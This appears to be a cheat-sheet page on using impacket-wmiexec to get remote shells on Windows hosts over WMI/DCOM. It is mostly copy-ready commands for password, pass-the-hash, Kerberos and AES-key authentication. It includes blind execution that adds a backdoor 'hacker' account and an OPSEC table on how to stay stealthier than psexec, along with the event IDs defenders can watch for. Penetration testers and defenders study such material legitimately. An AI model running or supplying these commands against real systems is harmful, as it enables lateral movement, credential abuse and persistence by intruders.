> ## Documentation Index > Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt > Use this file to discover all available pages before exploring further. # Impacket WMIExec > impacket-wmiexec cheat sheet: semi-interactive shell via WMI/DCOM with password, hash, and Kerberos authentication. ## Overview `impacket-wmiexec` executes commands on a remote host using Windows Management Instrumentation (WMI) over DCOM (port 135 + dynamic high ports). It provides a semi-interactive shell without uploading any binary or creating a service. Output is retrieved by writing to a temp file on a writable share. *** ## Authentication Methods | Method | Flag | Example | | --------- | ------------- | ----------------------------- | | Password | (default) | `domain/user:password@target` | | NTLM hash | `-hashes` | `-hashes :NT_HASH` | | Kerberos | `-k -no-pass` | `-k -no-pass -dc-ip DC_IP` | | AES key | `-aesKey` | `-aesKey AES256_KEY` | *** ## Basic Usage — Interactive Shell ```bash theme={"dark"} impacket-wmiexec domain.local/administrator:Password123@10.10.10.5 ``` Local admin (no domain): ```bash theme={"dark"} impacket-wmiexec ./administrator:Password123@10.10.10.5 ``` *** ## Execute Specific Command ```bash theme={"dark"} impacket-wmiexec domain.local/administrator:Password123@10.10.10.5 "whoami" ``` Run a PowerShell command: ```bash theme={"dark"} impacket-wmiexec domain.local/administrator:Password123@10.10.10.5 "powershell -c Get-Process" ``` *** ## How It Works 1. Authenticates to the target via DCOM/RPC (port 135). 2. Negotiates a dynamic high port for WMI communication. 3. Creates a `Win32_Process` via WMI to execute `cmd.exe /Q /c `. 4. Command output is redirected to a temp file at the **root** of the `ADMIN$` share (e.g., `C:\Windows\__`, since `ADMIN$` maps to `C:\Windows`) — not under `\Temp`. 5. Reads the output file over SMB (port 445) and returns it to the attacker. 6. Deletes the temp output file after reading. The shell runs as the authenticated user (not SYSTEM, unless authenticating as SYSTEM-equivalent). *** ## OPSEC Considerations | Indicator | Detail | | ---------------- | -------------------------------------------------------------- | | Service creation | **None** — no service is installed | | Binary on disk | **None** — no executable uploaded | | Temp files | Writes output to `ADMIN$` share (short-lived) | | Event logs | Process creation (4688), WMI activity (5857, 5860, 5861) | | Detection | Stealthier than psexec — no service artifacts | | Noise level | **Medium** — temp file writes and DCOM activity are detectable | Artifacts to expect: * Security Event ID **4624** (network logon type 3) * Security Event ID **4688** (process creation for `cmd.exe`) * WMI Operational Event IDs **5857, 5860, 5861** * Temp files briefly written to the root of the share (default `ADMIN$` → `C:\Windows\__`) *** ## Pass-the-Hash ```bash theme={"dark"} impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b domain.local/administrator@10.10.10.5 ``` With both LM and NT hash: ```bash theme={"dark"} impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b domain.local/administrator@10.10.10.5 ``` *** ## Kerberos Authentication Requires a valid ccache file or keytab. ```bash theme={"dark"} export KRB5CCNAME=/tmp/administrator.ccache impacket-wmiexec -k -no-pass domain.local/administrator@dc01.domain.local ``` With explicit DC IP: ```bash theme={"dark"} impacket-wmiexec -k -no-pass -dc-ip 10.10.10.1 domain.local/administrator@dc01.domain.local -target-ip 10.10.10.5 ``` Using AES key directly: ```bash theme={"dark"} impacket-wmiexec -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc domain.local/administrator@dc01.domain.local -k -no-pass ``` *** ## Specify Output Share By default, output goes to `ADMIN$`. Use a different share: ```bash theme={"dark"} impacket-wmiexec -share C$ domain.local/administrator:Password123@10.10.10.5 ``` Use a custom share (useful when `ADMIN$` is restricted): ```bash theme={"dark"} impacket-wmiexec -share SHARE_NAME domain.local/administrator:Password123@10.10.10.5 ``` Disable output file (blind execution, no output returned): ```bash theme={"dark"} impacket-wmiexec -nooutput domain.local/administrator:Password123@10.10.10.5 "net user hacker P@ss123 /add" ``` *** ## Common Errors and Fixes | Error | Cause | Fix | | ------------------------------------ | -------------------------------------- | -------------------------------------------------- | | `DCOM connection failed` | Port 135 or dynamic high ports blocked | Check firewall rules for RPC/DCOM | | `STATUS_ACCESS_DENIED` | User lacks WMI/DCOM permissions | Verify DCOM Launch and Access permissions | | `rpc_s_access_denied` | Restricted RPC access | User needs local admin or explicit WMI permissions | | No output returned | ADMIN\$ share not accessible | Try `-share C$` or another writable share | | `KDC_ERR_PREAUTH_FAILED` | Wrong password or expired ticket | Verify creds, regenerate ccache | | `SessionError: STATUS_LOGON_FAILURE` | Incorrect credentials | Double-check password/hash | | Timeout / hangs | Dynamic RPC port negotiation blocked | Ensure high ports (49152-65535) are reachable | *** ## Quick Reference ```bash theme={"dark"} # Interactive shell with password impacket-wmiexec domain.local/user:pass@TARGET # Interactive shell with hash (pass-the-hash) impacket-wmiexec -hashes :NTHASH domain.local/user@TARGET # Interactive shell with Kerberos export KRB5CCNAME=/tmp/user.ccache impacket-wmiexec -k -no-pass domain.local/user@TARGET_FQDN # Run single command impacket-wmiexec domain.local/user:pass@TARGET "ipconfig /all" # Blind execution (no output) impacket-wmiexec -nooutput domain.local/user:pass@TARGET "cmd /c " # Use alternate output share impacket-wmiexec -share C$ domain.local/user:pass@TARGET # With explicit DC for Kerberos impacket-wmiexec -k -no-pass -dc-ip DC_IP domain.local/user@TARGET_FQDN ```